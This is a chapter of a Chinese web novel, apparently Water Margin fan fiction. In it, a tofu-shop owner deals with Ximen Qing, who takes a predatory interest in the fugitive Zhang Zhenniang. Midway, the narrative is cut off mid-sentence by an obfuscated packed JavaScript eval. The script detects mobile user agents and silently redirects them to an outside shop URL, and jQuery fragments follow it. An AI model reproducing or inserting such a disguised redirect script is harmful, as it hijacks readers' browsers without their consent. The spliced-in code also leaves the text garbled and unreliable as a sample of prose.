46.见色起意了
作品:《[水浒]恶女潘金莲》 两人来到西门庆府上。门房通报后,不多时,便请他们进去。
西门庆正在花厅里品茶,见顾怀秋进来,本来只淡淡瞥向她,却在看清她的容貌时,眼中闪过一丝明显的讶异。他放下茶盏,打量顾怀秋——衣着依旧朴素,但容貌……似乎明丽了许多?气度……也似乎更加从容了些。
他挂起惯常的笑容:“顾掌柜?稀客啊。听说你前些日子出门了?这是回来了?”
“是,刚回来。”顾怀秋福了一礼,开门见山,“此番冒昧打扰大官人,实是有事相求。”
她将狮子楼的事简单说了一遍,末了道:“钱老板说,当初收留小豆子二人,是看在大官人的面子上。如今出了事,奴也只得厚颜前来,求大官人说和说和。”
西门庆听完,眉毛挑得老高:“什么?那钱有财不给顾掌柜面子?”
“奴一个卖豆腐的,在钱老板面前哪里谈得上面子。”顾怀秋自嘲地笑了笑。
西门庆“啪”一拍桌子:“岂有此理!打碎几个盘子对他狮子楼连九牛一毛都算不上,至于扣押人么!”
他站起身,在花厅里踱了两步,似乎真的动了气:“这钱有财,真是越老越糊涂!生意做得大了,连朋友的情面都不顾了!”
他转回身,看向顾怀秋,义正言辞道:“顾掌柜放心,此事包在我身上。我这就派人去狮子楼,让钱有财立刻放人!至于打碎的东西,顾掌柜也不必赔了,算我的!”
“这如何使得!”顾怀秋连忙道,“大官人愿意帮忙说和,已是天大的恩情,怎能让大官人再破费?银子奴自己出,只求大官人说句话,让钱掌柜将那丫头放回来。”
西门庆看着顾怀秋,心中生出一丝探究来。这个顾掌柜,从前面色暗黄,说话时恭敬中带着一丝小心翼翼。如今虽然还是恭敬,胆子……却似乎大了不少?
“也罢。”西门庆笑了笑,不再坚持,走回主位坐下,端起茶盏抿了一口,“想来顾掌柜也不差那几辆银子。不过说起来,顾掌柜这趟出门,是去了哪里?有何收获?”
“不过是去邻县看了位远亲,顺道打听打听豆花的行情。”她笑了笑,“让大官人见笑了。小本生意,总得多想想出路。”
“哦?顾掌柜想去邻县开店?”
“家中人口多,只一个豆腐店,实是……”顾怀秋无奈地叹了口气,“实是有些捉襟见肘。”
西门庆懒洋洋地“嗯”了一声,半天不开口。顾怀秋正想告辞,没想到西门庆又开口了:“不如我投些钱,助你扩充店面,如何?”
这话西门庆初见顾怀秋时就说过,没想到此时又提起了。顾怀秋想了想,开口道:“多谢大官人一番心意,只是阳谷县就这么大,卖豆腐的也不止我一家,即使扩充了店面,但客人统共就那么多,想来……也是不大行得通的。”
西门庆“哎”了一声,表示不赞同,“若我二人联手,其他豆腐店就该关门歇业了。顾掌柜若是愿意,我便可以让阳谷县只有你一家豆腐店!”
呵!顾怀秋真想哈哈大笑。
果然是流氓本色,想走别人的路,让别人无路可走?
“大官人这番心意,实让奴受宠若惊,”顾怀秋垂下眼帘,掩去眸中的冷意, “只是眼下店里才刚惹出事端,实在不敢再劳烦大官人为这等小事费心。”她顿了顿,抬眼看向西门庆,“不如容奴先将眼下这些琐事处理妥当,待一切安定了,再细细思量大官人的提议,可好?”
西门庆手指在黄花梨木的椅子扶手上轻轻敲击着,目光在顾怀秋脸上流连。若是她的肤色再白一些,眉毛再细一些,应该……也勉强算得上个美人吧?
“顾掌柜总是这般客气。”西门庆笑了笑,“也罢,既然顾掌柜眼下不便,那便依你,等日后再说。”
“多谢大官人。”
西门庆叫来一个小厮,让他陪着顾怀秋去狮子楼要人。顾怀秋又道了谢,便和晨光跟着小厮离开了西门庆家。
这一次,钱老板的态度明显变了,但面子上还是要硬撑一下的,嘟嘟囔囔地说些抱怨的话。顾怀秋当然非常“识相”地又赔了几句好话,最终将人领了回去。
小玉非常自责,说自己不该那么冲动,给掌柜的惹麻烦。没想到顾怀秋夸她干得好,说一家人就该互帮互助,还让小玉从今以后在前面店里帮忙,不让她躲在后院了。
日子平静地过去了几天。但老天爷真是见不得人好——不,也不能这样说。应该说老天爷总给顾怀秋出题,让她来解决。好像要故意锤炼她似的。
张贞娘主仆安顿在隔壁巷子的小院里,深居简出。顾怀秋每日都让秋霜或小玉送些吃食过去,自己也常去探望,叮嘱她们尽量不要出门。
然而,百密一疏。锦儿初到阳谷,水土不服,闹了两天肚子。起初都以为是小事,喝点热水,饮食清淡些便能熬过去。可到了第三日,锦儿非但没见好,反而上吐下泻,连床都下不来了。
张贞娘心急如焚。本来就刚刚经历了夫君流放、父亲惨死、逃亡千里,身边只剩下锦儿一人。见她病得这样重,更是慌了手脚。自己又人生地不熟,思来想去,只能戴上帷帽,悄悄出门,想去豆腐店找顾怀秋。
张贞娘心中记挂锦儿,脚步匆匆,低着头只顾赶路。刚拐上主街,“砰”一声,就跟一个人撞上了。她“啊”地低呼一声,踉跄后退,帷帽也被带歪了,露出了半边白玉般的脸颊和惊慌失措的眉眼。
“大胆!没长眼睛吗?敢冲撞我们大官人的车驾!”这个狗腿子厉声呵斥。
张贞娘吓得魂飞魄散,连忙扶正帷帽,声音细若蚊蚋:“对、对不住……奴家不是故意的……冲撞了贵人,还请恕罪。”
她声音本就柔婉,此刻带着惊惧,更是楚楚可怜,听在耳中,别有一番韵味。
马车里,西门庆正搂着张惜惜调笑,闻声动作一顿。这声音……何其清丽婉转。他心中一动,抬手掀起了帘子。
午后照在巷口那个躬身行礼的女子身上。她一身素净的浅青色衣裙,头戴帷帽,看不清全貌,但那脖颈线条柔美,细腻白皙。身段更是透着一种弱柳扶风般的韵味。
只这一眼,西门庆心头便是一震!好一个绝色美人!比他府中任何一个姬妾、比这张惜惜,都要胜出不止一筹!这阳谷县,何时藏了这样一位神仙似的人物?
他眼中瞬间闪过一丝惊艳,随即便是毫不掩饰的炽热与贪婪。
“无妨。”西门庆放下帘子,声音透过车帘传出,“娘子受惊了,些许小事,不必介怀。走吧。”
狗腿子见主子发话,也不好再训斥,只狠狠瞪了张贞娘一眼,跟着轿子继续前行。
张贞娘等马车走远了,才惊魂未定地拍了拍胸口,不敢再耽搁,快步朝着豆腐店的方向走去。
她却不知,马车内,西门庆已撩开帘子,目光紧紧追随着她匆匆离去的背影,直到她消失在街角。
“大官人看什么呢?魂儿都被勾走了?”身旁的张惜惜娇嗔道,语气里带着浓浓的醋意和不满。
西门庆收回目光,揽住张惜惜的肩膀,在她脸上亲了一口,心不在焉地哄道:“一个不懂规矩的村妇罢了,哪里及得上我的惜惜半分?走,陪你去顾掌柜那儿尝尝新出的点心。”
张惜惜心里酸涩,却不敢再多言,只闷闷地应了一声。
张贞娘一路小跑来到豆腐店。店里的客人多,但因为有小玉了,顾怀秋便不在灶台边忙活,而在柜台后算账
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17015534|190678||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
了。见张贞娘急匆匆进来,顾怀秋心里便是一沉。
“顾娘子!”张贞娘大步走到柜台前,“锦儿……锦儿病得厉害,上吐下泻,人都虚脱了……这可如何是好?”
顾怀秋连忙绕过柜台,扶住她:“别急,慢慢说。”
“我想去找大夫,又初来乍到,不知哪里有好大夫。”张贞娘说着,眼泪就掉了下来。她既怕暴露身份,又怕锦儿有个三长两短。
顾怀秋立刻道:“你别慌,我这就让晨光去请大夫。你先坐下喝口水,缓一缓。”
她正要去后面叫晨光,只听秋霜说了句“大官人和娘子来了!”。顾怀秋一转头,就见西门庆和张惜惜一前一后走了进来。
她心头猛地一跳。
西门庆脸上带着笑意,目光先是在店内一扫,随即落在了张贞娘身上。张贞娘方才和顾怀秋说话,帷帽上的面纱还掀开着……
惊鸿一瞥。
“顾掌柜,生意兴隆啊。”西门庆摇着折扇,踱步过来,目光状似不经意地扫过张贞娘,“这位是……”
张贞娘连忙低下头,不敢作声。
顾怀秋上前一步,不着痕迹地挡在张贞娘身前,笑道:“大官人好,娘子好。这是我一位表姐,身子有些不舒服,正跟我商量着请大夫呢。”
“哦?身子不适?”西门庆眉头一挑,关切之色溢于言表,“那可耽搁不得。我家中正是开药房的,坐堂的大夫也是阳谷县有名的,不如我派人去请来,给这位娘子瞧瞧?”
他的眼神紧紧盯着张贞娘。
顾怀秋看到西门庆的目光,心里一紧,这目光可不就是电视剧里演的那样?
“大官人太客气了。”顾怀秋连忙推辞,“不过是丫鬟水土不服,闹肚子,哪里敢劳动大官人。”
张贞娘低着头,微微福身行礼,依旧沉默。
西门庆眼中闪过一丝不悦,但脸上笑容不变:“顾掌柜总是这般见外。既然是丫鬟,那更简单了。”他转向身后的小厮,“去,上药房抓几副上好的止泻调理的药来。”
“是!”小厮应声就要走。
“大官人!”顾怀秋急忙叫住,“这……这实在使不得!一点小病,哪能劳动您专门派人抓药?晨光!”她扬声朝后面喊道。
晨光应声从后院出来。
“快去西门大官人的药房,抓几副止泻的药来,快去快回!”顾怀秋语速很快。
晨光看了顾怀秋一眼,说了声“是!”转身就往外跑,抢在西门庆那小厮前面出了门。
西门庆脸上的笑容淡了几分:“顾掌柜……何必如此见外?”
“大官人的好意,我们心领了。”顾怀秋陪着笑,“大热天儿的,实不敢劳烦您的人。”她又转向秋霜,“赶紧给大官人和娘子盛豆花。”
西门庆盯着她看了两秒,忽然又笑了:“顾掌柜忒客气。也罢,随你。”他的目光又飘向张贞娘,不过到底没再说什么,和张惜惜挑了一张桌子坐了下来。
顾怀秋转身对张贞娘道:“表姐,锦儿一个人在家,怕是害怕,你赶紧回去照看着。小玉!”
小玉从灶间转头。
“你陪表姐回去,帮着照看一下,有什么事立刻来回我。”
“哎!”小玉擦了擦手,连忙走过来。
张贞娘闻言如蒙大赦,对着西门庆和张惜惜的方向匆匆福了一礼,便和小玉快步离开了店铺。
西门庆的目光一直追随着她的背影,直到消失在门口,才缓缓收回。他端起茶,抿了一口,没有说话。
一旁的张惜惜,脸色早已难看至极。从进店开始,西门庆的目光就没离开过那个戴帷帽的女人!西门庆这个色中饿鬼,还真是没有满足的时候。

